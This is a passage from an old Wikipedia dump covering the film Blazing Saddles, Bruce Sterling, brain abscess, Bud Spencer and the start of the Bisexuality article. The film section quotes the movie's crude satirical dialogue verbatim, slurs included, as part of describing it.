The story is set in the [[Southwest United States]] in 1874 (though it is filled with deliberately [[anachronism#Anachronisms in art and fiction|anachronistic]] references to the [[1970s]]). Construction on a new railroad runs into [[quicksand]]; the route has to be changed, which will cause it to be built near Rock Ridge, a frontier town where everyone has the last name of &quot;Johnson&quot;. State Attorney General Hedley Lamarr (played by Korman) &amp;mdash; not to be confused, as he often is in the film, with [[Hedy Lamarr]] &amp;mdash; wants to buy the land along the new railroad route cheaply, but first has to cause the townspeople to leave. He sends a gang of thugs, led by Pickens's character, to scare them away, prompting the townsfolk to demand that the Governor appoint a new [[sheriff]]. The Attorney General convinces the dim-witted governor (Brooks) to appoint Bart (Little), an [[African American]] railroad worker, as the new sheriff. He believes that this will so offend the townspeople they will either abandon the town or lynch the new sheriff.

With his quick wits and the assistance of an [[List of fictional alcoholics|alcoholic]] former [[gunslinger]] Jim (Wilder), &quot;The Waco Kid&quot; (&quot;I must have killed more men than [[Cecil B. DeMille]]!&quot;), Bart begins to overcome the hostile reception. He defeats Mongo (Karras), an immensely strong subhuman sent by Pickens, then resists the seductions of wily temptress-for-hire Lili von [[List of English words of Yiddish origin|Shtupp]] (Kahn), before inspiring the townfolk to lure Lamarr's small army of thugs into an ambush.

The resulting fight between the townsfolk and the gunfighters is so devastating that it even breaks the [[fourth wall]]; the fight spills out from the westerns lot in the [[Warner Brothers Studios]] and manages to destroy a musical set before culminating in a cream pie fight in the studio canteen. As with all westerns, however, it cheerfully ends with the good guys defeating the bad guy, rescuing the town, catching the end of the movie, persuading people of all colors and creeds to live in harmony and, finally, riding off into a beautiful sunset (although Bart and Jim quickly swap their horses for a [[limousine]]) &amp;ndash; in that order.

{{endspoiler}}

== Themes and motifs ==

The movie uses some outrageously [[racist]] themes, but in a self-aware manner that successfully manages to mock racism itself. The racist individuals in the movie are quite possibly the dumbest people on earth; stupid enough, for instance, to fall for Bart holding himself hostage until he gets to safety. No ethnic group is spared from satirical barbs. At one point, [[David Huddleston]]'s character grudgingly concedes to some railroad workers: &quot;All right, we'll give some land to the [[nigger]]s and the [[chink]]s. ''But we don't want the [[Irish ethnicity|Irish]]!''&quot; Although to be fair, he did not use a racial epithet to refer to the Irish. After a vocal outcry, he then lets everyone, including the Irish, have land.

One of the film's most famous scenes is of a group of cowboys sitting round a fire eating plates of beans; for the entire scene the soundtrack plays loud evidence of the most [[Flatulence|notorious side effect]] of beans.

==Featured Cast==
{| class=&quot;wikitable&quot; width=&quot;50%&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Actor !! Role
|- 
| [[Mel Brooks]] || Gov. William J. Le Petomane / Indian chief
|-
| [[Carol DeLuise]] || Harriett Johnson
|- 
| [[Dom DeLuise]] || Buddy Bizarre
|- 
| [[Liam Dunn]] || Rev. Johnson
|- 
| [[George Furth]] || Van Johnson
|- 
| [[Burton Gilliam]] || Lyle
|- 
| [[John Hillerman]] || Howard Johnson
|- 
| [[David Huddleston]] || Olson Johnson
|- 
| [[Madeline Kahn]] || Lili Von Shtupp
|- 
| [[Alex Karras]] || Mongo
|- 
| [[Harvey Korman]] || Hedley Lamarr
|- 
| [[Cleavon Little]] || Bart
|- 
| [[Slim Pickens]] || Taggart
|- 
| [[Jack Starrett]] || Gabby Johnson
|- 
| [[Gene Wilder]] || Jim &quot;The Waco Kid&quot;
|}

==Awards==
The film was nominated for three [[Academy Awards]], including one for Kahn for a [[Marlene Dietrich|Dietrich]]-like portrayal of the &quot;Teutonic Titwillow&quot; and one for the film's title song, co-written by Brooks and performed with complete sincerity by [[Frankie Laine]].  In [[2000 in film|2000]], the [[American Film Institute]] listed ''Blazing Saddles'' as #6 on its list of the [[100 Years Series#100 Years...100 Laughs|all-time funniest American films]]. Also in [[2000]], readers of ''[[Total Film]]'' magazine voted it the 9th greatest comedy film of all time.

'''[[1975]] [[Academy Award]]s (Oscars)'''
* Nominated - [[Academy Award for Best Supporting Actress|Best Performance by an Actress in a Supporting Role]] — [[Madeline Kahn]]
* Nominated - [[Academy Award for Film Editing|Best Film Editing]] — John C. Howard, Danford B. Greene
* Nominated - [[Academy Award for Best Song|Best Original Song]] — John Morris, [[Mel Brooks]] for the song &quot;Blazing Saddles&quot;
'''[[1975]] [[BAFTA]] Film Awards'''
* Nominated - Best Newcomer — [[Cleavon Little]]
* Nominated - Best Screenplay — [[Mel Brooks]], [[Norman Steinberg]], [[Andrew Bergman]], [[Richard Pryor]], [[Alan Uger]]
'''[[1975]] [[Writers Guild of America Award]]s'''
* Nominated - Best Comedy Written Directly for the Screen — [[Mel Brooks]], [[Norman Steinberg]], [[Andrew Bergman]], [[Richard Pryor]], [[Alan Uger]]

==Trivia==
* This was Mel Brooks's first movie shot in the [[anamorphic widescreen|2.35:1]] [[Panavision]] [[aspect ratio (image)|aspect ratio]].

* Brooks wanted [[Richard Pryor]] to play the sheriff's role given to Little, but the studio objected because of Pryor's perceived vulgarity (Pryor's comedy routines contained numerous obscenities, sexist remarks, and comments which some thought would be perceived as outright racist if they had come from a white man). Warner [[executive|execs]] also expressed concern about Pryor's reliability, because of his heavy drug use at the time. Pryor was, however, hired as one of the film's screenwriters.

* When the original title (''Tex X'') was turned down by the studio because it sounded like the title of a [[blaxploitation]] film, Brooks next choice was ''Black Bart''. Although that name also was not used, it became name of a [[television pilot]] based on the film (produced without Brooks's participation). That pilot is included on the 30th anniversary [[DVD]] release of ''Blazing Saddles''.

* [[Hedy Lamarr]] sued [[Warner Bros.]] for the unauthorized use of her name; an out-of-court settlement was reached. Prophetically, in the movie, the Governor calls his right-hand man &quot;Hedy&quot; to his face, and Lamarr sheepishly corrects him: &quot;Hed-LEY&quot;. He answers, &quot;What the hell are you worried about? This is 1874, you'll be able to sue her!&quot;

* Brooks didn't tell Laine that the movie was planned as a comedy, and was frankly embarrassed by how much heart Laine put into singing the title song, which was nominated for a &quot;Best Song&quot; Oscar (music by John Morris, with lyrics by Brooks). After that, Brooks couldn't bear to tell Laine the truth.

* Gene Wilder's future wife [[Gilda Radner]] appears as a townswoman in the church scene.

* ''Blazing Saddles'' also offers a rare look into the Warner [[backlot]], with scenes spilling off the ''Laramie Street'' set into various [[Sound stage|stages]] and eventually out of Gate 3 onto Olive Blvd. in [[Burbank, Los Angeles County, California|Burbank]], [[California|CA]].

* The film contained two notable alumni of the [[University of Iowa]]: accomplished actor Gene Wilder as Jim (The Waco Kid), and [[Alex Karras]], the [[NFL]] lineman playing Mongo.

* [[Dom Deluise]] has a bit part as a [[Busby Berkeley]]-esque director, as does his wife, making one of her only film appreances as one of the townsfolk.

* The movie was the first Hollywood film to have a character apparently [[Flatulence|pass wind]] on-screen.

* Legendary Western star [[John Wayne]] was approached by Mel Brooks to be in the film, for the role played by [[Slim Pickens]]. After reading the script he said &quot;I can't be in this picture, it's too dirty...but I'll be the first in line to see it.&quot;

* The film was popular enough to warrant the development of a television series pilot, available on the [[DVD]] edition of the film.

* Mel Brooks originally wanted Gene Wilder to play the role of Hedley Lamarr.

* There is a fair amount of profanity in the film, but in the scene where Lamarr slaps Lili he calls her a &quot;[[Teutonic]] [[twat]]!&quot;. This is highly unusual in that ''twat'' is scarcely used in [[U.S.]] films. (Nor, for that matter, is ''Teutonic''). However, this [[Alliteration|alliteration]] dovetails nicely with his earlier comment to Taggart, &quot;You [[Provincial|provincial]] [[Yiddish words and phrases used by English speakers|putz]]!&quot;

==Quotes==
*'''Sheriff Bart''': Are we awake?
:'''Jim (Waco Kid)''': We're not sure... are we ''black?''
:'''Sheriff Bart''': Yes, we are.
:'''Jim (Waco Kid)''': Then we're awake... but we're very puzzled.

*'''Jim (Waco Kid)''': My name is Jim, but most people call me... Jim.

*'''Taggart''': What in the [[Wide World of Sports (US television show)|Wide, Wide World of Sports]] is a-goin' on here? I hired you people to try to get a little track laid, not to jump around like a bunch of [[Kansas City, Missouri|Kansas City]] [[Faggot (epithet)|faggots]]!

*'''Sheriff Bart''': Mornin', ma'am! And isn't it a ''lovely'' mornin'?
:'''Old Woman''': Up yours, nigger!

:'''Jim (Waco Kid)''': (consoling Bart after the above exchange) What did you expect? &quot;Welcome, sonny&quot;? &quot;Make yourself at home&quot;? &quot;Marry my daughter&quot;?  You've got to remember that these are just simple farmers... these are people of the land... the common clay of the New West. You know &amp;ndash; morons.

*'''Le Petomane:''' Work, work, work, work, work, work, work, work, work...
(La Petomane leans over to his busty secretary and talks into her exposed cleavage.)
:Hello, boys! Have a good night's rest? I missed you!

* '''Mongo''': Sheriff first man ever whip Mongo. Mongo impressed! Have deep feelings for Sheriff Bart!
:'''Jim (Waco Kid)''': (to Bart) Aww, I think Mongo's taken a little fancy to you!
:'''Mongo''': (laughing and giving both a bashful look)  Nawww!  Mongo ''[[Heterosexual|straight]]''!

*'''Mongo''': Mongo only [[pawn (chess)|pawn]] in game of life... 

*'''Lili von Shtupp''': (in pitch black room with Sheriff Bart)  So...is it twue what they say about how you people are... ''gifted''? (noise of zipper being undone)  Oh, it's twue...it's twue...it's TWUE!
'''''(Portion deleted from script)'''''
'''Bart''': Begging your pardon, Ms, Shtupp... but you're sucking on my elbow.

:'''Bart''': (hours later) Baby, please! I am ''not'' from [[Havana]]!

*'''Hedley Lamarr''': I want rustlers, cutthroats, murderers, bounty hunters, desperados, mugs, pugs, thugs, nitwits, halfwits, dimwits, vipers, snipers, con men, Indian agents, Mexican bandits, muggers, buggerers, bushwhackers, hornswagglers, horse thieves, bull dykes, train robbers, bank robbers, ass-kickers, shit-kickers and ''[[Methodists]]!'' 
:'''Taggart''': *finally gets a notebook and pen* Can you repeat that again, sir?

*'''Lamarr''': (interviewing a thug) Qualifications?
:'''Thug''': Rape, murder, arson, and rape.
:'''Lamarr''': You said &quot;rape&quot; twice.
:'''Thug''': I like rape!

*'''Lamarr''': Chewing gum in line? I hope you brought enough for ''everybody!''
:'''Thug''': I didn't know there was gonna be so many...
'''''(Lamarr promptly shoots him dead.)'''''
:'''Jim (Waco Kid)''': Boy, is he ''strict!''

*'''Jim (Waco Kid)''': (antagonizing [[Ku Klux Klan|Klansmen]]) Hey, boys! Look what I got here!
:'''Bart''': Hey, where are the white women at?

*'''Lamarr''': Qualifications?
:'''Bart (disguised as Klansman)''': Stampeding cattle.
:'''Lamarr''': That's not much of a crime.
:'''Thug''': Through the [[Vatican City|Vatican]]?
:'''Lamarr''': Kinky!  Sign here.

*'''Taggart''': I got it! We'll work up a Number Six!
:'''Lamarr''': I'm afraid I'm not familiar with that one.
:'''Taggart''': Well, that's where we go a-ridin' inta town, a-whompin' an' a-whumpin' every living thing that moves within an inch of its life &amp;ndash; 'cept the womenfolks, o' course.
:'''Lamarr''': You spare the women?
:'''Taggart''': Naw, we rape the ''shit'' outta them at the Number Six Dance later on!

*'''Theme song Refrain''': He rode a blazing saddle! He wore a shining star... His job to offer battle, to bad men near and far! He conquered fear, and he conquered hate; He turned our night into day! He made his blazing saddle a torch to light the way!

*'''Taggart''':(to Dom Deluise) Man, piss on you! I'm workin' for Mel Brooks!!
:'''Buddy''': Not in the face!!!
'''''(Taggart punches Buddy in the stomach.)'''''
:'''Buddy''': Thank you.

* (Hedley introduces Bart to Gov. Le Petomane; Le Petomane reaches for Bart's hand, only to realize he's black.)
:'''Le Petomane:''' Wow! (whistles and gestures to Lamarr) I've got to talk to you, c'mere...
:(walks away, taking Bart instead)
:'''Le Petomane:''' Have you gone berserk?!?  Can't you see that that man is a ni...
:(Le Petomane realizes he's talking to Bart)
:'''Le Petomane:''' Sorry. Wrong person.
:(Le Petomane walks Bart back, and grabs Hedley)
:'''Le Petomane:''' Have you gone berserk?!?  Can't you see that that man is a ni?

==Yiddish-speaking Indian==
Speaking to young Bart and his parents, who were in &quot;the back of the wagon train&quot; during the attack of &quot;the entire [[Sioux]] nation&quot; &amp;ndash; transcription and translation:

:Shvartsers! (Blacks!)
:(To Indian raising tomahawk): No, no, zayt nisht meshuge! (Don't be crazy!)
:(Raising arms to the heavens in stereotypical Indian pose): Loz im geyn! (Let him go!)
:Cop a walk, it's alright. Abi gezunt! (As long as you're healthy!) Take off!
:(To other Indians): Hast du gezehen in dayner lebn? (Have you ever seen such a thing?) They ''darker than us!'' Woof!

==See also==
* [[Le Petomane]]
* [[Freddy Pharkas Frontier Pharmacist]]
* [[Randolph Scott]]
* [[Howard Johnson's]]
* [[George 'Gabby' Hayes]]

==External links==
{{wikiquote}}
* {{imdb title|id=0071230|title=Blazing Saddles}}
* {{imdb title|id=0121113|title=Black Bart}}
* {{filmsite|id=blaz|title=Blazing Saddles}}
* {{rogerebert|id=19740207/REVIEWS/401010306|title=Blazing Saddles}}
* [http://archive.salon.com/ent/movies/dvd/review/2001/05/08/blazing/ 2001 Review], mostly of Brooks's [[audio commentary (DVD)|DVD commentary]], from [[Salon.com]]

{{Mel Books Films}}

[[Category:Comedy films]]
[[Category:Parody films]]
[[Category:Western films]]
[[Category:American films]]
[[Category:1974 films]]
[[Category:Gross-out comedy films]]

[[fr:Le shérif est en prison]]
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[[sv:Det våras för sheriffen]]</text>
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  </page>
  <page>
    <title>Bruce Sterling</title>
    <id>3838</id>
    <revision>
      <id>40787315</id>
      <timestamp>2006-02-23T00:38:47Z</timestamp>
      <contributor>
        <ip>66.78.70.89</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Bruce Sterling (Ars_Electronica).jpg|200px|thumb|Bruce Sterling at the Ars Electronica Festival]]

Michael '''Bruce Sterling''' (born [[April 14]], [[1954]]) is an American [[science fiction author]], best known for his novels and his seminal work on the ''[[Mirrorshades]]'' [[anthology]], which defined the [[cyberpunk]] genre.  In 2003 he was appointed Professor at the [[European Graduate School]] where he is teaching Summer Intensive Courses on media and design. In 2005, he became &quot;visionary in residence&quot; at [[Art Center College of Design]] in [[Pasadena, California|Pasadena]], [[California]].

As of January 2006, he was living in [[Belgrade]] with his wife, Serbian author and film-maker [[Jasmina Tesanovic]].[http://wiredblogs.tripod.com/sterling/index.blog?entry_id=1284688]

==Writings==

Sterling is, along with [[William Gibson (novelist)|William Gibson]], [[Tom Maddox]], [[Rudy Rucker]], [[John Shirley]], [[Lewis Shiner]] and [[Pat Cadigan]], one of the founders of the [[cyberpunk]] movement in science fiction, as well as its chief [[ideological]] promulgator, and one whose [[polemics]] on the topic earned him the nickname &quot;Chairman Bruce&quot;.  He is also one of the first organizers of [[Turkey City Writer's Workshop]]. He won [[Hugo Award]]s for the novelette &quot;Bicycle Repairman&quot; and the novella &quot;Talamakan&quot;.

His first novel, ''Involution Ocean'', published in [[1977]], features the world Nullaqua where all the [[Earth's atmosphere|atmosphere]] is contained in a single, miles-deep [[Impact crater|crater]]; the story concerns a ship sailing on the [[ocean]] of dust at the bottom, which hunts creatures called dustwhales that live beneath the surface. It is a science-fictional [[pastiche]] of ''[[Moby-Dick]]'' by [[Herman Melville]].

In the late [[1970s]] onwards, Sterling wrote a series of stories set in the [[Shaper/Mechanist]] universe: the [[solar system]] is colonised, with two major warring factions. The Mechanists use a great deal of computer-based mechanical technologies; the Shapers do [[genetic engineering]] on a massive scale. The situation is complicated by the eventual contact with [[Extraterrestrial life|alien]] [[civilization]]s; humanity eventually splits into many subspecies, with the implication that many of these effectively vanish from the [[galaxy]], reminiscent of [[Technological singularity|The Singularity]] in the works of [[Vernor Vinge]].  The [[Shaper/Mechanist]] stories can be found in the collection ''Crystal Express'' and the collection ''Schismatrix Plus'', which contains the original novel ''Schismatrix'' and all of the stories set in the [[Shaper/Mechanist]] universe.
[[Image:Bruce Sterling (Open Cultures) cropped.jpg|200px|thumb|Bruce Sterling at the Open Cultures conference ([[5 June]] [[2003]])]]
In his hometown of [[Austin, Texas|Austin]], [[Texas]], the author is known for an annual [[Christmas]] yard party that features [[digital art]].

In the [[1980s]], Sterling edited a series of science fiction newsletters called [[Cheap Truth]], under the alias of Vincent Omniaveritas. He wrote a column called ''[[Catscan]]'', for the now-defunct science fiction critical magazine, [[SF Eye]].

He has been the inspiration for two projects which can be found on the Web -
* The Dead Media Project - A collection of &quot;research notes&quot; on dead media technologies, from [[Inca|Incan]] [[quipu]]s, through Victorian [[phenakistoscope]]s, to the departed [[Computer and video games|video games]] and home computers of the 1980s. The Project's homepage, including Sterling's original ''Dead Media Manifesto'' can be found at http://www.deadmedia.org
* The [[Viridian Design Movement]] - his attempt to create a [[Green movement]] without his perceived self-righteousness of the current Green movement.  He called his proposed design movement the [[Viridian]] movement, to signify its desire for high-tech, stylish, and ecologically sound design. The Viridian Design home page, including Sterling's ''Viridian Manifesto'', is at http://www.viridiandesign.org, and helped to spawn the popular &quot;bright green&quot; environmental weblog [[Worldchanging]], where many of original members of the Viridian Movement blog, including sometimes Sterling himself.

In the December 2005 issue of Wired magazine, Sterling coined the term buckyjunk. Buckyjunk refers to future, difficult-to-recycle consumer waste made of carbon nanotubes (aka buckytubes, based on buckyballs or buckminsterfullerene).

==Novels==
* ''[[Involution Ocean]]'' (1977) - a kind of SFnal Moby Dick story set on a desert planet with sex and drugs with an alien 
* ''[[The Artificial Kid]]'' (1980) - about a young street fighter who continuously films himself using remote controlled cameras
* ''[[Schismatrix]]'' (1985) - The [[23rd century]] solar system is divided among two human factions: the &quot;Shapers&quot; who are employing genetics and psychology, and the &quot;Mechanists&quot; who use computers and body prosthetics. The novel is narrated from the viewpoint of ''Abelard Lindsay'', a brilliant [[diplomacy|diplomat]] who makes history many times throughout the story.
* ''[[Islands in the Net]]'' (1988) - a view of an early [[21st century]] world apparently peaceful with delocalised, networking [[corporation]]s. The protagonist, swept up in events beyond her control, finds herself in the places off the net, from a datahaven in [[Grenada]], to a [[Singapore]] under [[terrorism|terrorist]] attack, and the poorest and most disaster-struck part of [[Africa]].
* ''[[The Difference Engine]]'' (1990) (with [[William Gibson (novelist)|William Gibson]]) - [[steampunk]]
* ''[[Heavy Weather]]'' (1994) - about hi-tech [[storm chaser]]s in a midwest where [[greenhouse warming]] has made [[tornado]]es far more energetic that the present day.
* ''[[Holy Fire (book)|Holy Fire]]'' (1996) - about a world of steadily increasing longevity, the marginalised [[subculture]] of young [[artist]]s, and the nature of the posthuman mind.
* ''[[Distraction_book|Distraction]]'' (1998) - a master political strategist and a genius genetic researcher find love as they fight an insane [[Louisiana]] governor for control of a high-tech scientific facility in a post-collapse [[United States]].  Winner of the [[2000]] [[Arthur C. Clarke Award]].  US editions: ISBN 0553104845 (hardcover), ISBN 0553576399 (paperback)
* ''[[Zeitgeist (novel)|Zeitgeist]]'' (2000) - A [[girl group]] ala the [[Spice Girls]] tours the [[Middle East]]under the direction of [[trickster]] [[Leggy Starlitz]]. Introduces the concept of [[Major consensus narrative]].
* ''[[The Zenith Angle]]'' (2004) - a non-SF techno-thriller (or very near-future SF, looking at some of the gimmicks) about a cyber-security expert who goes to work for the US government fighting terrorism after 9/11.

==Short story collections ==
* ''[[Mirrorshades (book)|Mirrorshades]]: A Cyberpunk Anthology'' (1986) - defining cyberpunk short story collection, edited by Bruce Sterling
* ''Crystal Express'' (1989) - a collection of short stories, including several set in the [[Shaper/Mechanist]] universe
* ''Globalhead'' (1992, paperback 1994); ISBN 0-553-56281-9.
** &quot;[[Hackers (short stories)#Our Neural Chernobyl|Our Neural Chernobyl]]&quot;
** &quot;Storming the Cosmos&quot;
** &quot;The Compassionate, the Digital&quot;
** &quot;Jim and Irene&quot;
** &quot;The Sword of Damocles&quot;
** &quot;The Gulf Wars&quot;
** &quot;The Shores of Bohemia&quot;
** &quot;The Moral Bullet&quot;
** &quot;The Unthinkable&quot;
** &quot;We See Things Differently&quot;
** &quot;Hollywood Kremlin&quot;
** &quot;Are You for 86?&quot;
** &quot;Dori Bangs&quot;
* ''A Good Old-fashioned Future'' (1999)
**&quot;Maneki Neko&quot;
**&quot;Big Jelly&quot; (with [[Rudy Rucker]])
**&quot;The Littlest Jackal&quot;
**&quot;Sacred Cow&quot;
**&quot;Deep Eddy&quot;
**&quot;Bicycle Repairman&quot;
**&quot;[[Taklamakan]]&quot;
* ''Visionary in Residence'' (2006, forthcoming); ISBN 1-56025-841-1

==Non-fiction==
* ''[[The Hacker Crackdown|The Hacker Crackdown: Law and Disorder on the Electronic Frontier]]'' ([[1992]]) - about the panic of law enforcers in the late [[1980s]] about '[[hacker]]s' and the raid on [[Steve Jackson Games]] as part of [[Operation Sun Devil]]. Spectra Books, ISBN 055356370X. Reasoning that the book had a naturally time-limited commercial life, he has made the [http://www.gutenberg.net/etext/101 text of the book freely available] via [[Project Gutenberg]] ([http://stuff.mit.edu/hacker/hacker.html HTML version]).
* ''Tomorrow Now: Envisioning the next fifty years'' ([[2002]]) - a popular science approach on [[futurology]], reflecting [[technology]], [[politics]] and [[culture]] of the next 50 years. Readers of Sterling will recognize many issues from books like ''Zeitgeist'', ''Distraction'' or ''Holy Fire''.
* ''Shaping Things'' ([[2005]]) is a &quot;book about created objects&quot;, i.e. a lengthy essay about design, things and how we will move from the age of [[product]]s and [[gizmo]]s to the age of [[spime]]s (a Sterling neologism). The 150-pages book covers issues like &quot;intelligent things&quot; (spiked with [[RFID]]-tags), [[sustainability]] and [[fabbing]]. [[MIT Press]], ISBN 0262693267.

==External links==
{{wikiquote}}
*[http://blog.wired.com/sterling/ &quot;Beyond the Beyond&quot;] Bruce Sterling's current weblog
*[http://www.ballardian.com/sterling-on-ballard-part-1/ &quot;Child of the Diaspora: Bruce Sterling on JG Ballard&quot;] Bruce Sterling waxes lyrical on JG Ballard, a key influence on the cyberpunk movement
*[http://www.infinitematrix.net/archive/archive.html#sterling/ &quot;Schism Matrix&quot;] Bruce Sterling's previous weblog (August 2001 to August 2003)
* {{gutenberg author| id=Bruce+Sterling | name=Bruce Sterling}}
*[http://artcast.twoday.net/stories/1143418/ Listen to the Bruce Sterling interview at Tweakfest] (November 2005 in Zurich, Switzerland)
*[http://www.radiophiles.org Listen to the Bruce Sterling interview on Radiophiles.org]
*[http://www.well.com/conf/mirrorshades/ Bruce Sterling's ''unofficial'' homepage]
*[http://www.worldchanging.com/archives/002847.html Bruce Sterling's 2005 South by Southwest keynote]
* {{isfdb name|id=Bruce_Sterling|name=Bruce Sterling}}
*[http://www.reason.com/0401/fe.mg.cybergreen.shtml Cybergreen]; Sterling interviewed by Mike Godwin; [[6 January]] [[2004]].
*[http://www.egs.edu/faculty/sterling.html &quot;Bruce Sterling's faculty site at EGS&quot;]
*[http://www.brianstorms.com/archives/000359.html &quot;Sterling Commentary&quot;] -- a report from a Bruce Sterling book signing, [[19 May]] [[2004]]
*[http://www.wired.com/wired/archive/10.04/sdi.html ''Peace Is War'' April 2002 Wired magazine article by Bruce Sterling]
*[http://news.com.com/2008-1082_3-1010864.html News.com: 'Bruce Sterling' is a Pseudonym]
*[http://seminars.moose.cc/salt-0200406-sterling/ ''The Singularity: Your Future as a Black Hole'' MP3 and Ogg Vorbis talk from the Long Now Foundation]
* [http://viridiandesign.org Bruce Sterling's ''Viridian Design'' web site]
* [http://user.well.com/iengaged.cgi?c=inkwell.vue&amp;f=0&amp;t=234&amp;q=0- 2005 interview] on the WELL, led by [[Jon Lebkowsky]]
* [https://user.well.com/engaged/engaged.cgi?c=inkwell.vue&amp;f=0&amp;t=204&amp;q=0- 2004 interview] on the WELL
* [https://user.well.com/engaged/engaged.cgi?c=inkwell.vue&amp;f=0&amp;t=171&amp;q=0- 2003 interview] on the WELL
* [https://user.well.com/engaged/engaged.cgi?c=inkwell.vue&amp;f=0&amp;t=100&amp;q=0- 2001 interview] on the WELL
* [http://www.blather.net/articles/it_sterling_furoshiki.htm Bruce Sterling: Furoshiki Revisited]
* [http://www.blather.net/articles/it_sterling_work.htm Sterling Work - interview about the Dead Media Project]
*[http://groups.yahoo.com/group/smygo/ Smygo] News &amp; Views for Anarchists &amp; Activists. (Bruce Sterling belongs to the list.)

[[Category:1954 births|Sterling, Bruce]]
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  </page>
  <page>
    <title>Brain abscess</title>
    <id>3840</id>
    <revision>
      <id>37694673</id>
      <timestamp>2006-02-01T16:48:54Z</timestamp>
      <contributor>
        <ip>148.85.1.102</ip>
      </contributor>
      <comment>/* Pathophysiology */</comment>
      <text xml:space="preserve">'''Brain abscess''' (or cerebral abscess) is an [[abscess]] caused by inflammation and collection of infected material coming from local (ear infection, infection of paranasal [[sinus]]es, infection of the [[mastoid]] air cells of the temporal bone, [[epidural abscess]]) or remote ([[lung]], [[heart]], [[kidney]] etc.) infectious sources within the [[human brain|brain]] tissue. The infection may also be introduced through a skull fracture following a [[head trauma]] or surgical procedures. Brain abscess is usually associated with [[congenital heart disease]] in young children. It may occur at any age but is most frequent in the third decade of life. 

==Features==
The symptoms of brain abscess are caused by a combination of increased [[intracranial pressure]] due to a space-occupying lesion (headache, vomiting, confusion, [[coma]]), infection (fever, fatigue etc.) and focal neurologic brain tissue damage ([[hemiparesis]], [[aphasia]] etc.). The most frequent presenting symptoms are headache, drowsiness, [[mental confusion|confusion]], [[seizure|seizures]], [[hemiparesis]] or speech difficulties together with fever with a rapidly progressive course. The symptoms and findings depend largely on the specific location of the abscess in the brain. An abscess in the cerebellum, for instance, may cause additional complaints as a result of [[brain stem]] compression and [[hydrocephalus]]. Neurologic examination may reveal a stiff neck in occasional cases (erroneously suggesting meningitis). The famous triad of fever, headache and focal neurologic findings are highly suggestive of brain abscess but are observed only in a minority of the patients.

==Pathophysiology==
Brain abscesses are usually polymicrobial in nature.

The most common organism recovered from cultures is the [[bacterium]] ''[[Streptococcus]]''. However, a wide variety of other bacteria (''[[Proteus (bacterium)|Proteus]]'', ''[[Pseudomonas]]'', ''[[Pneumococcus]]'', ''[[Meningococcus]]'', ''[[Haemophilus]]''), [[fungus|fungi]] and [[parasite]]s may also cause the disease. Fungi and parasites are especially associated with immunocompromised patients. Organisms that are most frequently-associated with brain abscess in patients with [[AIDS]] are [[Toxoplasma gondii]] and [[Cryptococcus neoformans]], though in infection with the latter organism, symptoms of [[meningitis]] generally predominate.

==Diagnosis==
The diagnosis is established by a [[computed tomography]] (CT) (with contrast) examination. At the initial phase of the inflammation (which is referred to as cerebritis), the immature lesion does not have a capsule and it may be difficult to distinguish it from other space-occupying lessions or infarcts of the brain.  Within 4-5 days the inflammation and the concomitant dead brain tissue are surrounded with a capsule, which gives the lesion the famous ring-enhancing appearance on CT examination with contrast (since intravenously applied contrast material can not pass through the capsule, it is collected around the lesion and looks as a ring surrounding the relatively dark lesion). [[Lumbar puncture]] procedure, which is performed in many infectious disorders of the central nervous system is contraindicated in this condition (as it is in all space-occupying lesions of the brain) because removing a certain portion of the [[Cerebral Spinal Fluid|cerebrospinal fluid]] may alter the concrete intracranial pressure balances and cause a part of the brain tissue to move out of the skull ([[brain herniation]]). 

Ring enhancement may also be observed in cerebral hemorrhages (bleeding) and some brain [[tumor]]s. However, in the presence of the rapidly progressive course with fever, focal neurologic findings (hemiparesis, aphasia etc) and signs of increased intracranial pressure, the most likely diagnosis should be the brain abscess.

==Treatment==
The treatment includes lowering the increased intracranial pressure and starting intravenous [[antibiotic]]s (and meanwhile identifying the causative organism mainly by blood culture studies). Surgical aspiration or removal of brain abscess are performed for patients that are resistant to medical treatments.

[[Category:Neurological disorders]]

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  </page>
  <page>
    <title>Bud Spencer</title>
    <id>3841</id>
    <revision>
      <id>37315236</id>
      <timestamp>2006-01-30T04:45:16Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
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      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Bud Spencer''' (born [[October 31]], [[1929]] in [[Naples]]), born as '''Carlo Pedersoli''', is a famous [[Italy|Italian]] [[actor]]. 

Spencer holds a doctorate in [[law]], as well as several [[patent]]s; he also was a successful swimmer and [[water polo]] player, participating in the [[Olympic Games]] in [[1952]], [[1956]] and [[1960]] and also winning several titles.

His first movie appearance was as an emperor's guard in ''[[Quo Vadis (1951 movie)|Quo Vadis]]'' in [[1951]]; he later on met [[Terence Hill]], with whom he did a large number of [[Italian Western]]s, including ''[[God forgives, I don't (1968 movie)|God forgives, I don't]]'' ([[1968]]), ''[[They_Call_Me_Trinity|They call me Trinity]]'' ([[1971]]) and ''[[Trinity is Still My Name]]'' ([[1972]]). Spencer has a large fanbase, particularly in [[Europe]]; he also wrote [[screenplay]]s and texts for some of his movies.

Spencer married [[Maria Amato]] in [[1960]]; the couple has three children, Giuseppe ([[1961]]), Christine ([[1962]]) and Diamante ([[1972]]). His name was chosen as an homage to [[Spencer Tracy]] in [[1967]] as well as his favourite [[United States|American]] beer. Other sources report that he found it funny to call himself &quot;bud&quot; despite his weight and body size.

In [[2005]] Spencer entered [[politics]], standing as regional councillor in [[Lazio]] for the [[Forza Italia]] party. He was, however, not elected.

== External links ==

* {{imdb name|id=0817881|name=Bud Spencer}}
* [http://www.budterence.tk Budterence.tk] - Bud Spencer &amp;amp; Terence Hill Style
* [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2005/02/16/witaly16.xml&amp;sSheet=/news/2005/02/16/ixworld.html  Berlusconi picks film cowboy as his sidekick], [http://www.telegraph.co.uk/ telegraph.co.uk], 16th February 2005, Bruce Johnston

[[Category:1929 births|Spencer, Bud]]
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  <page>
    <title>Bisexuality</title>
    <id>3843</id>
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      <id>42110893</id>
      <timestamp>2006-03-03T22:13:42Z</timestamp>
      <contributor>
        <ip>129.118.121.209</ip>
      </contributor>
      <comment>/* Bisexuality in modern Western entertainment */</comment>
      <text xml:space="preserve">{{Sexual orientation}}
{{Redirect|Bisexual}}
'''Bisexuality''' in human sexual behavior refers to the [[aesthetic]], [[romance|romantic]], and [[sexual]] desire for people of both [[gender|genders]] and/or for people of both [[sex|sexes]]. For some writers, the term is parallel to [[homosexuality]] and [[heterosexuality]], while for others the term expresses a blend of the two.

